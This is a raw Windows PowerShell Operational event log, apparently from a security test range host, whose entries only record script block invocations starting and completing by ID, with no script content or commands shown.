ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044313
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044311
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044310
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044293
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044287
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044265
Keywords=None
